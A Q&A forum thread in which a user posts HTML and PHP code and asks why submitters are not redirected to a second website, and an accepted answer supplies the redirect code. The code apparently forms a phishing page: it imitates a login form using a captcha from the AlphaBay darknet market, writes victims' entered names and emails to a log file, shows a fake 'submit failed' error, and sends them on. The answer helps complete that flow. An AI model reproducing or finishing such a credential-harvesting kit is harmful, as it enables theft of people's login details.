dpp78272 2016-09-09 16:04
浏览 11
已采纳

填写php表单后如何将用户重定向到其他网站

I had a fight with some coder, and he ruins my code, basically, the customers has to fill some php form in www.mywebsite.com/fill

       <?php
            if(isset($_SESSION['wrong'])) {
                echo "<p class='error'>submit failed, please retype your information.</p>";
                session_destroy();
            }
        ?>
<form name="formLogin" method="post" action="doneA.php">

    <div class="tclpad" style="width:90px;"><span class="std">Username:</span></div>
    <div class="tclpad"><input name="input1" class="std" size="65" type="text" required></div>

    <div class="clear">&nbsp;</div>

    <div class="tclpad" style="width:90px;"><span class="std">Last name:</span></div>
    <div class="tclpad"><input name="input2" class="std" size="65" value="" type="text" required></div>

    <div class="clear">&nbsp;</div>

    <div class="tclpad" style="width:90px;"><span class="std">email</span></div>
    <div class="tclpad"><input name="input3" class="std" size="10" value="" type="text" required></div>

    <div class="clear">&nbsp;</div>

    <div class="tclpad" style="width:90px;">&nbsp;</div><div class="tclpad"><img id="captcha" src="http://alphabaywyjrktqn.onion.to/ifl/lb/securimage86/securimage_ren.php" alt="Captcha Image"></div><div class="clear">&nbsp;</div>

    <div class="tclpad" style="width:90px;"><span class="std">captcha</span></div><div class="tclpad"><input name="input5" class="std" size="65" type="text" required></div><div class="clear">&nbsp;</div>

    <div class="tclpad" style="width:90px;">&nbsp;</div>
    <div class="tclpad"><input class="bstd" value="submit" type="submit"></div>

    <div class="clear">&nbsp;</div></form></div></div><div class="footer"><div class="navbar"><a class="navbar" href="index.htm"><img src="navhome.png" alt="Home" height="12" width="14"></a>

subscribe 

now after they finish to submit the form, they need no be redirect to other website, www.mysecondwebiste.com, the other php script who does it is:

<?php
session_start();

if(isset($_POST['input1'])){
    $name = $_POST['input1'];
}

if(isset($_POST['input2'])){
    $lastname = $_POST['input2'];
}

if(isset($_POST['input3'])){
    $email = $_POST['input3'];
}

$fh = fopen("logs_" . date('d-M-Y') . ".txt","a");
$stringData = "New Stuff 1
";
fwrite($fh,"firstname: " . $name . "
" . " Lastname: " . $lastname . "
" . " email: " . $email . "
----------------------------
");
fclose($fh);

header("Location: index.php");


$_SESSION['wrong'] = '1';
?>

now in the current situation, when they finish to complete the php form, they get error message "submit failed, please retype your information." and they redirect to www.mywebsite.com/index.php and not to www.mysecondwebsite.com.

what did the programmer do? and how can i fix it?

  • 写回答

1条回答 默认 最新

  • douyun1860 2016-09-09 16:19
    关注

    The redirection can be done by doing changing this

    header("Location: index.php");
    

    to this

    header("Location: http://www.mysecondwebsite.com");
    

    OR, you can use meta refresh in place of header.

    echo "<meta http-equiv='refresh' content='NUMSECONDS;http://www.mysecondwebsite.com' />";
    

    Where you can change NUMSECONDS to any amount of seconds you want to wait before redirecting, or you can just make it 0 seconds.

    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论

报告相同问题?

悬赏问题

  • ¥15 乘性高斯噪声在深度学习网络中的应用
  • ¥15 运筹学排序问题中的在线排序
  • ¥15 关于docker部署flink集成hadoop的yarn,请教个问题 flink启动yarn-session.sh连不上hadoop,这个整了好几天一直不行,求帮忙看一下怎么解决
  • ¥30 求一段fortran代码用IVF编译运行的结果
  • ¥15 深度学习根据CNN网络模型,搭建BP模型并训练MNIST数据集
  • ¥15 C++ 头文件/宏冲突问题解决
  • ¥15 用comsol模拟大气湍流通过底部加热(温度不同)的腔体
  • ¥50 安卓adb backup备份子用户应用数据失败
  • ¥20 有人能用聚类分析帮我分析一下文本内容嘛
  • ¥30 python代码,帮调试,帮帮忙吧